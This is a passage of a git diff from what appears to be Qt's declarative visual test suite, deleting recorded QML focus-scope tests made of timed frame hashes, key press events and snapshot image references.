"e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 2080 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 2096 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 2112 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 2128 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 2144 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 2160 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 2176 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 2192 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 2208 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 2224 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 2240 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 2256 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 2272 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 2288 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 2304 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 2320 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 2336 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 2352 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Key { - type: 6 - key: 16777237 - modifiers: 536870912 - text: "1f" - autorep: false - count: 1 - } - Frame { - msec: 2368 - hash: "7e4814e27214ecbeb55992e319a88102" - } - Frame { - msec: 2384 - hash: "7e4814e27214ecbeb55992e319a88102" - } - Frame { - msec: 2400 - hash: "7e4814e27214ecbeb55992e319a88102" - } - Frame { - msec: 2416 - hash: "7e4814e27214ecbeb55992e319a88102" - } - Frame { - msec: 2432 - hash: "7e4814e27214ecbeb55992e319a88102" - } - Frame { - msec: 2448 - hash: "7e4814e27214ecbeb55992e319a88102" - } - Frame { - msec: 2464 - hash: "7e4814e27214ecbeb55992e319a88102" - } - Key { - type: 7 - key: 16777237 - modifiers: 536870912 - text: "1f" - autorep: false - count: 1 - } - Frame { - msec: 2480 - hash: "7e4814e27214ecbeb55992e319a88102" - } - Frame { - msec: 2496 - hash: "7e4814e27214ecbeb55992e319a88102" - } - Frame { - msec: 2512 - hash: "7e4814e27214ecbeb55992e319a88102" - } - Frame { - msec: 2528 - hash: "7e4814e27214ecbeb55992e319a88102" - } - Frame { - msec: 2544 - hash: "7e4814e27214ecbeb55992e319a88102" - } - Frame { - msec: 2560 - hash: "7e4814e27214ecbeb55992e319a88102" - } - Frame { - msec: 2576 - hash: "7e4814e27214ecbeb55992e319a88102" - } - Frame { - msec: 2592 - hash: "7e4814e27214ecbeb55992e319a88102" - } - Frame { - msec: 2608 - hash: "7e4814e27214ecbeb55992e319a88102" - } - Frame { - msec: 2624 - hash: "7e4814e27214ecbeb55992e319a88102" - } - Frame { - msec: 2640 - hash: "7e4814e27214ecbeb55992e319a88102" - } - Frame { - msec: 2656 - hash: "7e4814e27214ecbeb55992e319a88102" - } - Frame { - msec: 2672 - hash: "7e4814e27214ecbeb55992e319a88102" - } - Frame { - msec: 2688 - hash: "7e4814e27214ecbeb55992e319a88102" - } - Frame { - msec: 2704 - hash: "7e4814e27214ecbeb55992e319a88102" - } - Frame { - msec: 2720 - hash: "7e4814e27214ecbeb55992e319a88102" - } - Frame { - msec: 2736 - hash: "7e4814e27214ecbeb55992e319a88102" - } - Frame { - msec: 2752 - hash: "7e4814e27214ecbeb55992e319a88102" - } - Frame { - msec: 2768 - hash: "7e4814e27214ecbeb55992e319a88102" - } - Frame { - msec: 2784 - hash: "7e4814e27214ecbeb55992e319a88102" - } - Frame { - msec: 2800 - hash: "7e4814e27214ecbeb55992e319a88102" - } - Frame { - msec: 2816 - hash: "7e4814e27214ecbeb55992e319a88102" - } - Frame { - msec: 2832 - hash: "7e4814e27214ecbeb55992e319a88102" - } - Frame { - msec: 2848 - hash: "7e4814e27214ecbeb55992e319a88102" - } - Frame { - msec: 2864 - hash: "7e4814e27214ecbeb55992e319a88102" - } - Frame { - msec: 2880 - image: "test.2.png" - } - Frame { - msec: 2896 - hash: "7e4814e27214ecbeb55992e319a88102" - } - Frame { - msec: 2912 - hash: "7e4814e27214ecbeb55992e319a88102" - } - Frame { - msec: 2928 - hash: "7e4814e27214ecbeb55992e319a88102" - } - Frame { - msec: 2944 - hash: "7e4814e27214ecbeb55992e319a88102" - } - Frame { - msec: 2960 - hash: "7e4814e27214ecbeb55992e319a88102" - } - Frame { - msec: 2976 - hash: "7e4814e27214ecbeb55992e319a88102" - } - Key { - type: 6 - key: 16777235 - modifiers: 536870912 - text: "1e" - autorep: false - count: 1 - } - Frame { - msec: 2992 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 3008 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 3024 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 3040 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 3056 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 3072 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 3088 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Key { - type: 7 - key: 16777235 - modifiers: 536870912 - text: "1e" - autorep: false - count: 1 - } - Frame { - msec: 3104 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 3120 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 3136 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 3152 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 3168 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 3184 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 3200 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 3216 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 3232 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 3248 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 3264 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 3280 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 3296 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 3312 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 3328 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 3344 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 3360 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 3376 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 3392 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 3408 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 3424 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 3440 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 3456 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 3472 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 3488 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 3504 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 3520 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 3536 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Key { - type: 6 - key: 16777236 - modifiers: 536870912 - text: "1d" - autorep: false - count: 1 - } - Frame { - msec: 3552 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 3568 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 3584 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 3600 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 3616 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 3632 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 3648 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Key { - type: 7 - key: 16777236 - modifiers: 536870912 - text: "1d" - autorep: false - count: 1 - } - Frame { - msec: 3664 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 3680 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 3696 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 3712 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 3728 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 3744 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 3760 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 3776 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 3792 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 3808 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 3824 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 3840 - image: "test.3.png" - } - Frame { - msec: 3856 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 3872 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 3888 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 3904 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 3920 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 3936 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 3952 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 3968 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 3984 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 4000 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 4016 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 4032 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 4048 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 4064 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 4080 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 4096 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 4112 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 4128 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 4144 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 4160 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 4176 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Key { - type: 6 - key: 16777237 - modifiers: 536870912 - text: "1f" - autorep: false - count: 1 - } - Frame { - msec: 4192 - hash: "7e4814e27214ecbeb55992e319a88102" - } - Frame { - msec: 4208 - hash: "7e4814e27214ecbeb55992e319a88102" - } - Frame { - msec: 4224 - hash: "7e4814e27214ecbeb55992e319a88102" - } - Frame { - msec: 4240 - hash: "7e4814e27214ecbeb55992e319a88102" - } - Frame { - msec: 4256 - hash: "7e4814e27214ecbeb55992e319a88102" - } - Frame { - msec: 4272 - hash: "7e4814e27214ecbeb55992e319a88102" - } - Key { - type: 7 - key: 16777237 - modifiers: 536870912 - text: "1f" - autorep: false - count: 1 - } - Frame { - msec: 4288 - hash: "7e4814e27214ecbeb55992e319a88102" - } - Frame { - msec: 4304 - hash: "7e4814e27214ecbeb55992e319a88102" - } - Frame { - msec: 4320 - hash: "7e4814e27214ecbeb55992e319a88102" - } - Frame { - msec: 4336 - hash: "7e4814e27214ecbeb55992e319a88102" - } - Frame { - msec: 4352 - hash: "7e4814e27214ecbeb55992e319a88102" - } - Frame { - msec: 4368 - hash: "7e4814e27214ecbeb55992e319a88102" - } - Frame { - msec: 4384 - hash: "7e4814e27214ecbeb55992e319a88102" - } - Frame { - msec: 4400 - hash: "7e4814e27214ecbeb55992e319a88102" - } - Frame { - msec: 4416 - hash: "7e4814e27214ecbeb55992e319a88102" - } - Frame { - msec: 4432 - hash: "7e4814e27214ecbeb55992e319a88102" - } - Frame { - msec: 4448 - hash: "7e4814e27214ecbeb55992e319a88102" - } - Frame { - msec: 4464 - hash: "7e4814e27214ecbeb55992e319a88102" - } - Frame { - msec: 4480 - hash: "7e4814e27214ecbeb55992e319a88102" - } - Frame { - msec: 4496 - hash: "7e4814e27214ecbeb55992e319a88102" - } - Frame { - msec: 4512 - hash: "7e4814e27214ecbeb55992e319a88102" - } - Frame { - msec: 4528 - hash: "7e4814e27214ecbeb55992e319a88102" - } - Frame { - msec: 4544 - hash: "7e4814e27214ecbeb55992e319a88102" - } - Frame { - msec: 4560 - hash: "7e4814e27214ecbeb55992e319a88102" - } - Frame { - msec: 4576 - hash: "7e4814e27214ecbeb55992e319a88102" - } - Frame { - msec: 4592 - hash: "7e4814e27214ecbeb55992e319a88102" - } - Frame { - msec: 4608 - hash: "7e4814e27214ecbeb55992e319a88102" - } - Frame { - msec: 4624 - hash: "7e4814e27214ecbeb55992e319a88102" - } - Frame { - msec: 4640 - hash: "7e4814e27214ecbeb55992e319a88102" - } - Frame { - msec: 4656 - hash: "7e4814e27214ecbeb55992e319a88102" - } - Frame { - msec: 4672 - hash: "7e4814e27214ecbeb55992e319a88102" - } - Frame { - msec: 4688 - hash: "7e4814e27214ecbeb55992e319a88102" - } - Frame { - msec: 4704 - hash: "7e4814e27214ecbeb55992e319a88102" - } - Frame { - msec: 4720 - hash: "7e4814e27214ecbeb55992e319a88102" - } - Frame { - msec: 4736 - hash: "7e4814e27214ecbeb55992e319a88102" - } - Frame { - msec: 4752 - hash: "7e4814e27214ecbeb55992e319a88102" - } - Frame { - msec: 4768 - hash: "7e4814e27214ecbeb55992e319a88102" - } - Frame { - msec: 4784 - hash: "7e4814e27214ecbeb55992e319a88102" - } - Key { - type: 6 - key: 16777235 - modifiers: 536870912 - text: "1e" - autorep: false - count: 1 - } - Frame { - msec: 4800 - image: "test.4.png" - } - Frame { - msec: 4816 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 4832 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 4848 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 4864 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 4880 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 4896 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Key { - type: 7 - key: 16777235 - modifiers: 536870912 - text: "1e" - autorep: false - count: 1 - } - Frame { - msec: 4912 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 4928 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 4944 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 4960 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 4976 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 4992 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 5008 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 5024 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 5040 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 5056 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 5072 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 5088 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 5104 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 5120 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 5136 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 5152 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 5168 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 5184 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 5200 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 5216 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 5232 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 5248 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 5264 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 5280 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 5296 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 5312 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 5328 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 5344 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 5360 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 5376 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 5392 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 5408 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 5424 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 5440 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 5456 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 5472 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 5488 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 5504 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 5520 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 5536 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 5552 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 5568 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 5584 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 5600 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 5616 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 5632 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 5648 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 5664 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 5680 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 5696 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 5712 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 5728 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 5744 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 5760 - image: "test.5.png" - } - Frame { - msec: 5776 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 5792 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Key { - type: 6 - key: 16777249 - modifiers: 67108864 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 5808 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 5824 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 5840 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 5856 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 5872 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 5888 - hash: "6f85c2226e6e408f4699762f687b83e1" - } -} diff --git a/tests/auto/declarative/visual/focusscope/data/test2.0.png b/tests/auto/declarative/visual/focusscope/data/test2.0.png deleted file mode 100644 index 555a968..0000000 Binary files a/tests/auto/declarative/visual/focusscope/data/test2.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/focusscope/data/test2.1.png b/tests/auto/declarative/visual/focusscope/data/test2.1.png deleted file mode 100644 index 555a968..0000000 Binary files a/tests/auto/declarative/visual/focusscope/data/test2.1.png and /dev/null differ diff --git a/tests/auto/declarative/visual/focusscope/data/test2.qml b/tests/auto/declarative/visual/focusscope/data/test2.qml deleted file mode 100644 index fedc96a..0000000 --- a/tests/auto/declarative/visual/focusscope/data/test2.qml +++ /dev/null @@ -1,607 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 32 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 48 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 64 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 80 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 96 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 112 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 128 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 144 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 160 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 176 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 192 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 208 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 224 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 240 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 256 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 272 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 288 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 304 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 320 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 336 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 352 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 368 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 384 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 400 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 416 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 432 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 448 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 464 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 480 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 496 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 512 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 528 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 544 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 560 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 576 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 592 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 608 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 624 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 640 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 656 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 672 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 688 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 704 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 720 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 736 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 752 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 768 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 784 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 800 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 816 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 832 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 848 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 864 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 880 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 896 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 912 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 928 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 944 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 960 - image: "test2.0.png" - } - Frame { - msec: 976 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 992 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 1008 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 1024 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 1040 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 1056 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 1072 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 1088 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 1104 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 1120 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 1136 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 1152 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 1168 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 1184 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 1200 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 1216 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 1232 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 1248 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 1264 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 1280 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 1296 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 1312 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 1328 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 1344 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 1360 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 1376 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 1392 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 1408 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 1424 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 1440 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 1456 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 1472 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 1488 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 1504 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 1520 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 1536 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 1552 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 1568 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 1584 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 1600 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 1616 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 1632 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 1648 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } 